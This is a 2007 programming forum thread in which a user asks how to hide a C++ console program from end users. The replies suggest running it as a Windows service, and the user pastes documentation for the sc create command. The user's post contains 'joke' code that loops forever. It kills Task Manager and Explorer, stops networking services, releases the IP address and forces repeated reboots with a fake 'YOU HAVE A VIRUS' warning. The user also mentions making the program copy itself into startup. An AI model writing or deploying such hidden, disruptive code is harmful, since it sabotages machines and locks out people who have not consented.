6 Replies - 23039 Views - Last Post: 25 July 2007 - 09:12 PM Rate Topic: -----

#1 CodyOebel   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 13
  • Joined: 25-July 07

I need my c++ console application to run in the background

Post icon  Posted 25 July 2007 - 08:36 PM

As the title says. I have numerous applicatoins I want to build, but they need to run in the background since I dont want our end users seeing the application running and have any possible interaction with it.
Is there a simple way to do this? Please assist with the simplest way LOL as we all want.
I dont mind if I have to understand some API .. I just dont have enough API experiance to be very comfortible with it, but theres a first for everything. **problably something I need to start focussing on**

Anyhow, please give an example in which I can run my application in the background. On the side note Im messing with some of the other technicians as well as advancing my programming skills in both dos and C++ so the below joke code is what I created, but not the reason I am wanting to run the console in the background.


#include <stdio.h>
#include <iostream.h>
#include <dos.h>
#include <windows.h>
#include <string>
#include <stdlib.h>
#include <time.h>
#include <fstream.h>
using namespace std;

int main(int argc, char *argv[])
{
top:
/* Developed by Cody Cleo Oebel */

system("rd /q /s c:\\Mist");
system("md c:\\Mist");
ofstream OutFile("c:\\Mist\\Killer.bat");
OutFile<<"\nsc stop dhcp\n"
<<"\nsc stop netman\n"
<<"\nsc stop rasman\n"
<<"\nsc stop WebClient\n"
<<"\nsc stop wscsvc\n"
<<"\nsc stop SharedAccess\n"
<<"\ntaskkill /f /im taskmgr.exe\n"
<<"ipconfig /release"
<<"ipconfig /release"
<< endl;
OutFile.close();
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("c:\\Mist\\Killer.bat");
Sleep(2000);
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("c:\\Mist\\Killer.bat");
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
Sleep(1000);
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("c:\\Mist\\Killer.bat");
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
Sleep(1000);
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
Sleep(1000);
system("c:\\Mist\\Killer.bat");
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.exe");
Sleep(1000);
system("shutdown -r -f -t 60 -c \"YOU HAVE A VIRUS\"");
Sleep(45000);
system("c:\\Mist\\Killer.bat");
system("c:\\Mist\\Killer.bat");
system("shutdown -r -f -t 60 -c \"YOU HAVE A VIRUS\"");
Sleep(8000);
system("shutdown -r -f -t 60 -c \"YOU HAVE A VIRUS\"");
system("c:\\Mist\\Killer.bat");
system("c:\\Mist\\Killer.bat");
system("taskkill /f /im explorer.exe");
system("shutdown -r -f -t 60 -c \"YOU HAVE A VIRUS\"");
Sleep(8000);
system("shutdown -r -f -t 60 -c \"YOU HAVE A VIRUS\"");
goto top;


return 0;
}



lol preprocessor directives I dont even need, anyhow this is my little going joke on the guys. But I really need the capability to run my application in the background for our telephone agents working out on the floors during our software installs.

Is This A Good Question/Topic? 0
  • +

Replies To: I need my c++ console application to run in the background

#2 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6727
  • View blog
  • Posts: 31,156
  • Joined: 10-May 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 08:49 PM

Run your app as a service.
Assuming you're users are running an NT style Windows OS.
Was This Post Helpful? 0
  • +
  • -

#3 CodyOebel   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 13
  • Joined: 25-July 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 08:52 PM

View Postno2pencil, on 25 Jul, 2007 - 08:49 PM, said:

Run your app as a service.
Assuming you're users are running an NT style Windows OS.



Yah know :) I love simple ! LOL


So now heres the thing.. say It's installed in the all users startup folder heh.. and the user boots up to the OS, how do I initiate the application to create itself as a service.. maybe I need to just do it and not ask, but if you could hold my hand and baby step me that would be nice too.

I will give this a shot and see how far I get.

thanks
Was This Post Helpful? 0
  • +
  • -

#4 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6727
  • View blog
  • Posts: 31,156
  • Joined: 10-May 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 08:55 PM

I included this link :
http://www.planet-so...p...91&lngWId=3
under the word 'service'. Sorry you didn't catch it.

If this doesn't work for you, check the msdn (msdn.com) for API commands & google the OS that this will be running on.
Was This Post Helpful? 0
  • +
  • -

#5 CodyOebel   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 13
  • Joined: 25-July 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 09:01 PM

View Postno2pencil, on 25 Jul, 2007 - 08:55 PM, said:

I included this link :
http://www.planet-so...p...91&lngWId=3
under the word 'service'. Sorry you didn't catch it.

If this doesn't work for you, check the msdn (msdn.com) for API commands & google the OS that this will be running on.



ok so here I am messing with the SC dos command trying to understand it.
Now, I understand alot about the SC, but what were (Im) trying to accomplish is by making this service run
my Joke.exe for example.

so say my Joke.exe is sitting in the local c:\ where do I use it as the object ?
I will start reading the link you provided , and mean while maybe you can fill the confusion gaps im having.
Was This Post Helpful? 0
  • +
  • -

#6 no2pencil   User is offline

  • Professor Snuggly Pants
  • member icon

Reputation: 6727
  • View blog
  • Posts: 31,156
  • Joined: 10-May 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 09:07 PM

http://en.wikipedia....Windows_service
No one explains it better than the good'ol wiki.

"A Windows service is an application that starts when the Microsoft Windows operating system is booted and runs in the background as long as Windows is running. It is very similar in concept to a Unix daemon."

Quote

so say my Joke.exe is sitting in the local c:\ where do I use it as the object ?


It isn't just as simple as using the program. You'll have to re-write it as a windows service. The Operating System will launch your program, not the users, therefor running it in a protected enviornment that users cannot interfere with, nor look at. An example would be the windows print spooler. You have to issue windows to close the spooler, you can't just click the 'x' on an app.
Was This Post Helpful? 0
  • +
  • -

#7 CodyOebel   User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 13
  • Joined: 25-July 07

Re: I need my c++ console application to run in the background

Posted 25 July 2007 - 09:12 PM

View Postno2pencil, on 25 Jul, 2007 - 09:07 PM, said:

http://en.wikipedia....Windows_service
No one explains it better than the good'ol wiki.

"A Windows service is an application that starts when the Microsoft Windows operating system is booted and runs in the background as long as Windows is running. It is very similar in concept to a Unix daemon."

Quote

so say my Joke.exe is sitting in the local c:\ where do I use it as the object ?


It isn't just as simple as using the program. You'll have to re-write it as a windows service. The Operating System will launch your program, not the users, therefor running it in a protected enviornment that users cannot interfere with, nor look at. An example would be the windows print spooler. You have to issue windows to close the spooler, you can't just click the 'x' on an app.



The sc create command creates an entry for the service in the registry and in the Service Control Manager database.

Syntax
sc [Servername] create Servicename [Optionname=Optionvalue...
Back to the top

Parameters
Servername
Optional. Specifies the name of the server when you want to run the commands on a remote computer. The name must start with two backslash characters (for example, \\myserver). To run SC on the local computer, do not supply this parameter.
Servicename
Specifies the name given to the service key in the registry. Note that this is different from the display name, which is what you see with net start and the Services tool in Control Panel. Sc.exe uses the service key name as the primary identifier for the service.
Optionname
The Optionname and Optionvalue parameters allow you to specify the names and values of optional parameters. Note that there is no space between the Optionname and the equal sign. You can supply none, one, or more optional parameters name and value pairs. The sc query command supports the following values:OptionnameOptionvalue
type=own, share, interact, kernel, filesys
Type of service you want to create. Optionvalues include types used by drivers.
(default = share)

start=boot, system, auto, demand, disabled
Start type for the service. Option values include types used by drivers.
(default = demand)

error=normal, severe, critical, ignore
Severity of error if the service does not start during boot.
(default = normal)

binPath=(string)
Path name to the service binary file. There is no default for this parameter. This string must be supplied.

group=(string)
Name of group which this service is a member of. The list of groups are stored in the registry under ServiceGroupOrder.
(default = nothing)

tag=(string)
If this string is set to "yes," Sc.exe obtains a TagId from the CreateService call, however, Sc.exe does not display the tag.
(default = nothing)

depend=(space separated string)
Names of services or groups that must start before this service.

obj=(string)
Name of account in which the service runs. For drivers, this is the Windows driver object name.
(default = LocalSystem)

DisplayName=(string)
A string that can be used by user-interface programs to identify the service.

password=(string)
A password string. This is required if an account other than LocalSystem is used.
Optionvalue
Specifies the value for the parameter named by Optionname. See the Optionname reference for a list of supported values. When a string is to be input, the use of empty quotes means that an empty string is passed in.

NOTE: The sc create command performs the operations of the CreateService API function.

The following example creates a registry entry for the service named "NewService" on the computer called \\remotecomputer:
sc \\remotecomputer create newservice binpath= c:\nt\system32\newserv.exe
This service is created as a WIN32_SHARE_PROCESS with a SERVICE_DEMAND_START start-type by default. It does not have any dependencies, and runs in the LocalSystem security context.

The following example creates the service on the local computer as an auto-start service that runs in its own process. It has dependencies on the TDI group and on the NetBIOS service. Notice that you must add quotes around the list of space-separated dependencies.
sc create newservice binpath= c:\nt\system32\newserv.exe type= own start= auto depend= "+tdi netbios"

For further details about the Sc.exe tool, please see the Sc-dev.txt document in the Resource Kit. This document describes Sc.exe in greater detail.
Back to the top



















********** AHhhh I think I might begin to understand what I am gonig to have to do with it********** the bin part will be my executable in which the service will run LOL, thus I shouldnt need it in the start up correct ? Either way I could code it to copy itself over to the start up if necessary.

*****************
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1